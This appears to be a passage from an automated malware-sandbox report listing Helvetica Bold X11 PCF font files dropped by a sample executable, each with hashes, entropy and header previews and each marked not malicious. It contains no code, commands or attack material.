Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-13.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13124
Entropy (8bit):	4.044250565152535
Encrypted:	false
SSDEEP:	96:I5p1ELXpJ8ce72HiWtJSVsPoUYKIRo3dYYp9ZOyMHqgbZ32m5oIcj5lkvCsozi:IDWLZJmXqPo+Ie3L9ZOyMfZBXeLiBozi
MD5:	309F22F3FFA1503975E1FA4E123E857D
SHA1:	425BDE74026D6EFDA9D89689C8971A21B5E43FBF
SHA-256:	97023B11DC948218C4D8E044460DD3ED82DA5CA76D54319BD7556E7B2F33E7F4
SHA-512:	13EEC70EEEB2CC0D2F5B994E81BC847BCDA6717B81D510BC3AD7B136A32902DAB19115910A45BA33C420908EF2CFFBDED6F9F812B0A530F605FFAF78102F7D98
Malicious:	false
Preview:	.fcp............................d...@...........................\...l... ............%..@............'..........4....*..........d....3...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.13.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13500
Entropy (8bit):	3.9814573923953556
Encrypted:	false
SSDEEP:	192:L06LZJFgM9rKonOwsWiNBP+e3tZOJ6NyZc8U:L5JgMZKonOwsWijPH9v5
MD5:	EEE0C3AA2957EC65A3AF6CFCCAEA1FA2
SHA1:	7E3E00DD8B0E534335668A06D218B2C4AF8855E3
SHA-256:	FC714D7E64988705EC7E198F43509BC7B9276CED8E0C13F49FEE9AB444142B74
SHA-512:	F6F3F6136447373116DB2D2145EC3EF8792D92CEF81613020E5BA5D7F992B8421B6E1985E55D120D7E0D8404B744F4BEA9E49BA13A3DCB9BB43A62E63769CE02
Malicious:	false
Preview:	.fcp............................d...@...............................l... ...........t'..@............)...............,..........d....4...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.14.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-15.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13040
Entropy (8bit):	4.019837408193077
Encrypted:	false
SSDEEP:	96:+5f11LXpJ8ce1gi1xxxanCFJSbGAoC6Ro3l5iYYY7ZOC72ehbZ3EaJoI0207ea:+lvLZJQg9dXoC6e3tZOCa0ZVkz
MD5:	CB8A1BE1477AE41691092805B9A49F2D
SHA1:	B312DD14BCDB52EB154A48D29E627E953B4B12DE
SHA-256:	AEB5160ED5F9F012625F22BCB3298FCEF043DD318224C4AD7E872DD246A6F434
SHA-512:	A3419175B35CC9B381759797EAC9AD665319A0683F7D8537673EA1D51FE49CBC9C3483DC2BFF3A55333DF87D62E95CAE8F1E8B20DC817C1B7500D060568CFD2F
Malicious:	false
Preview:	.fcp............................d...@...........................H...l... ............%..@............'...............*..........d....2...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.15.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-2.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13116
Entropy (8bit):	3.9755359410094355
Encrypted:	false
SSDEEP:	96:C5yH1SLXpJ8ceriADMjxxikWJS+OnOqoHRo3KGYYqZOwZF1ObZ3jL5s1G:C5WoLZJBADX81oHe3mZOwtwZTJ
MD5:	A883D012F5D7B0F7A5577D02F7FC0A87
SHA1:	1C02874801074997556100A0A62C6A58B36B782A
SHA-256:	DFEBDDC0A72EF7E01EB9CDB5C1286AC7DF54F6E4546C41A42D9E27F98B1E48EB
SHA-512:	82E54928964E499508E1BA2B68F8896DF8D9D3D286E1D5833F5E54A2899013388B70FC57CB28973F6044772A3172B396E5951BEA2D12E17EF186469E5CF91E04
Malicious:	false
Preview:	.fcp............................d...<...............................h... ............&..@............(.............. +..........d....3...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.2.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-3.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12736
Entropy (8bit):	3.993716033664848
Encrypted:	false
SSDEEP:	96:1Y31GLXpJ8cexab6i9xxhRJSCrhHKoundr31C5I2YYYUZOpUO3tSRbZ3Du6xv:a3ULZJ8ab6Wq+0oG931ClZOmOKZhd
MD5:	7A59B70630D257B2ABB1D126EB43096B
SHA1:	8118FEEEE0D26BEF51637318FEAB8E7661466881
SHA-256:	354EE8AE2FDB80895FE4D0E6309D3294B8C5CFE0BBCD3DCB0437FE883E2D3E10
SHA-512:	FEFD115DC0C62CE33AE3897B0ACE2F69996DF17E3FA2AF42544CF4700864B4FDA9A86E812887B1A70D632849C5A4372EF1BA3179CC2403743271EDB48F7C8261
Malicious:	false
Preview:	.fcp............................d...<...........................p...D... ............$..@............&...............)..........d....1...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.3.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-4.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13168
Entropy (8bit):	3.986370672446639
Encrypted:	false
SSDEEP:	96:uH1NLXpJ8ceV16ewUyxwJSqorURo3Yh8YjZOeLAprAZbZ3aOXBecY:uHfLZJq6eBCqorUe3eZOivZBBY
MD5:	A820CA10A78990B67FC02F7C8D083DFF
SHA1:	9882452889E2A12BB3211D4451DAB08317380C3B
SHA-256:	EC36836AAC750218C030DAD882A3C26B972762675721A1CF89AD512831AD5434
SHA-512:	32293FDF7EFF4F55990E9F22C2738992494074419455EC9539F71A7985BBE06EE6AF445E4FFF5CA62178EAD393F7D604F7826BD1DF1387EAAAA6347CF234F290
Malicious:	false
Preview:	.fcp............................d...<...............................h... ...........,&..@...........<(..............D+..........d...@3...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.4.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12-ISO8859-9.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12988
Entropy (8bit):	4.040536031127091
Encrypted:	false
SSDEEP:	96:Iy1SLXpJ8ceQgijxxxHnI4JSUbo6YKoXRo3BtNYYYqIZOG7hbZ3Ea8OoIOllTre+:Iy4LZJBg8IFQoIoXe3PIZOmZTAFp
MD5:	2DF3E84C3D0AA7BD9CBC5FEFBD59F8AD
SHA1:	DA4F0C4C1C61BD5F661A4748677B1B4EA58BEC18
SHA-256:	6A9A366D78BCB7F6C6619A0DA1ECA81BED1FFA9541CEAEF0CFE798ABE03ED3AF
SHA-512:	435707E70AE227794C29465C1B880D6963F033B70BC30BBD03894F7099405FA28AEEF16586C3B290E9101B362435D5B26B5224C73A050FA659B0CC90C59A7E16
Malicious:	false
Preview:	.fcp............................d...<...............................h... ...........T%..@...........d'.......... ...l*..........d....2...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.9.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	67484
Entropy (8bit):	3.778697873802678
Encrypted:	false
SSDEEP:	768:Vg9XPeoMcxBttzciLlHlFT7K2aaCrNbTfVPW:VGPeoMc3ttzciLlHlFTZaaChnfVPW
MD5:	52DB2A4B4F41EF4DAA199FB3D304D2E1
SHA1:	1DB4D0D01CC4A2B61BF265257868D17A171F6F02
SHA-256:	AA8C44CA8B7C8489B9031C77DFC7D0E6AF57DF01322369D3C4122D09DC983E80
SHA-512:	077AC440EF8B767599EFE457C0E6972DBD49A2C4B1A4D00C07B75F07F1548A90E5EC0085F009661E6D140B99D54F6AC3F67906E0742D7511E5DDD8FED3386ADF
Malicious:	false
Preview:	.fcp............................d...@............................~..p... ........F..P...@...........`...........4#..8...........d...l................................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................F................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB14-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	14020
Entropy (8bit):	4.048579709451366
Encrypted:	false
SSDEEP:	96:Y1cYIol6lsXWl6IESqPgYqXpPPWPUawRo3BtiYYY7ZOGXanbZ3Ea8OoIOll07e6:YIgW2S3YSpPPWP6e3lZOUabZTAGb
MD5:	E3F2501A5176DA6663D8A05DB8FF7646
SHA1:	2F50BE340AD3FEDA42F4FE84C988AB1C89870897
SHA-256:	169AA7107AB97C55A014A53DEF86D08AF20DAB406DE6DBD73A4980CEC9E19612
SHA-512:	9D959F400FD4A4AE1D337804EFEFE8F077B7758314D40117450AE3BFEBACB54E9C7AC6E588AE832277A7A073FFD4593906E2D4CD103455DC3FBE98A00AF138BA
Malicious:	false
Preview:	.fcp............................d...<............................!..h... ...........l)..@...........\|+..........................d....6...............................$....0...5....;...=....K...R....a...b........m........x....K........K.................R................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	72256
Entropy (8bit):	3.8258007730638983
Encrypted:	false
SSDEEP:	768:s0+gI8y/dWcIGfBYQQgeh7K2aaCrNbTfVPz:sSGIGfBYQQgehZaaChnfVPz
MD5:	20EC6E5FD00187C18A03DB2447FB5B29
SHA1:	2505846264A7869A135465A4983D93A20B956D34
SHA-256:	40933C2D72B0341C029CDAC4232FAA61C681DAAA4DF9D491C79BFC5B6C649DB0
SHA-512:	A78312D6DAAED69D3E2B006FD5C7620BAE5D4A799BADBD343E79CABE313E22965C254E5F08297004091997F67688D96FA5454E33CE5C95763FD9556F52B002D8
Malicious:	false
Preview:	.fcp............................d...@...............................p... ........F......@.......................4#..............d....................................$....0...5....;...=....K...R....a...b........m........x....K........K.................R................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB18-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16200
Entropy (8bit):	4.112751179333781
Encrypted:	false
SSDEEP:	192:1yfKuagqn2Tjy7ysS9S7MShWcmBbxvMe3lZOUabZTAGk:g7ZRy73Wcm1Vb/
MD5:	6EE49CA8082B6231D749E375CF17641F
SHA1:	1EB8042CD8E26EEA8F65F9A0B8087E8B662C42AF
SHA-256:	047FC177779E9F46D60894939E93AFD41487FA4C7610BC40A1994BD5B0D637BE
SHA-512:	1738849D066F2E946A46C54A7AE473252225DE739C84A3A610F0EC4BEF01C67390774F5A234AC19B1B10699D52AB5EE6255A7BFE3D146712C426AAE7985A7290
Malicious:	false
Preview:	.fcp............................d...@............................)..l... ............1..@............4...............7..........d....?...............................$....0...5....;...=....K...R....a...b........m........x....K........K.................g................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB18.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	81756
Entropy (8bit):	3.9098133566202495
Encrypted:	false
SSDEEP:	768:Q2+cpsaS6wZMO9fgg6N7K2aaCrNbTfVPe:x8aHwh9fgg6NZaaChnfVPe
MD5:	F8F7CB80EF88F76459EDD9B6A5F336DB
SHA1:	4151A700566920604FF1EEC14C096B700BD1BDC9
SHA-256:	F0E3E4D20F98B6E61C9BE3553914BBDC7B56BE1064398114A93ED92ED11386E6
SHA-512:	5E618D60E2D1C81D06DF90ABD7C8C2B198AD2DABB54C6E57AC747CD4978630F7E06DA79B2E718DB012AAAA68E9610DAAC108E365D8F87CB1BDA4E9CA4D0AE6DE
Malicious:	false
Preview:	.fcp............................d...@...............................p... ........F......@........... ...........4#..............d...,?...............................$....0...5....;...=....K...R....a...b........m........x....K........K.................g................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB24-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19620
Entropy (8bit):	4.036327475878653
Encrypted:	false
SSDEEP:	192:1Dh8BnjJgmH8AbzqRLrKmNIe3lZOUabZTAG2:NEnjJgPoMLrBNVbF
MD5:	1833E2008DDB3B14F26887D9F2138E3B
SHA1:	FAF33385575B77111B3056B25C5B4FF26DA23798
SHA-256:	3807B553D25D4FAFB1D4DD5C35F00C3BDC2CDE5D2F053F2C06A3F06A2F03B7D5
SHA-512:	2BFC5D2766CEA7E698BD424F8E6286BB4CC3AECE5F1196B4D25AA6AF8F6B72E8A6CD5AC9812A8E7798EFC0B89586B157D8B7481ECED9BDC813583B3150EC0A4F
Malicious:	false
Preview:	.fcp............................d...@............................6..l... ...........L?..@...........\A..............dD..........d...tL...............................$....0...5....;...=....K...R....a...b........m........x....K........K..................................................................................................2...-....F...=....G...V....[.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Adob

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvB24.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	95732
Entropy (8bit):	3.946001079793087
Encrypted:	false
SSDEEP:	768:OWgp7Ce4piOLbj8Lr857p+38E7K2aaCrNbTfVPl:nw7Ce446bd7eZaaChnfVPl
MD5:	B2A8853ABEE94EAA10F3DB54FF119498
SHA1:	8327D0079F006D45F32069D602E93CA1DB07FD8C
SHA-256:	88AE31DCDA9D25B3EEF4E9CB57BBF42925A6BB85554A96FC417C019D1BFF37DC
SHA-512:	017861237574AAED68D3271BBDA024035B6545E3FE5CFE5964F27A9A0548E532FB1155A0EE4C8263A53211833B15EA608B882764FBF41ECDE4C31D6CCFC26A3E
Malicious:	false
Preview:	.fcp............................d...@...........................8...p... ........F......@............F..........4#...R..........d....u...............................$....0...5....;...=....K...R....a...b........m........x....K........K..................................................................................................2........F...>....H...W....\.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Bold.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Bold.FONT.-Ado

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvBO08-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	11152
Entropy (8bit):	4.198848579616674
Encrypted:	false
SSDEEP:	192:m7dyNjbbubhbbmbJmumew6e3lZOUabZTAGd:WwNjbbubhbbmbEH5Vbi
MD5:	8339DE650215B3778D4F97E2A1F292E6
SHA1:	DFB3826159CE998611EA5D0BE96BBB2B7FB6717B
SHA-256:	A7EE1025B1E958A814AF1699CD18C77915CAF7BE9FB00DC7E393CD913F4FAA57
SHA-512:	4D7837EB5B839EB9376A7596F66E546F6BAF664AC0034680C0FCEB7F8EFFCC51ABEAD4B34D9A5829CB0A67713C35A5661F4C6A5E1E90C15302E92805F4DB8CA8
Malicious:	false
Preview:	.fcp............................d...T................................... ...........8...@...........H ..............P#..........d...`+...............................$....0...5....;...=....K...R....a...b........m....P...x....K........K.................2...........................................................................*....2...<....F...L....V...m....r.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-BoldOblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvBO10-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12216
Entropy (8bit):	4.130657949651989
Encrypted:	false
SSDEEP:	96:K1sn9H5qPPmfJDuWhW08cmVkePePRo3BtiYYY7ZOGXanbZ3Ea8OoIOll07ew:KlAuWhWPu8se3lZOUabZTAGB
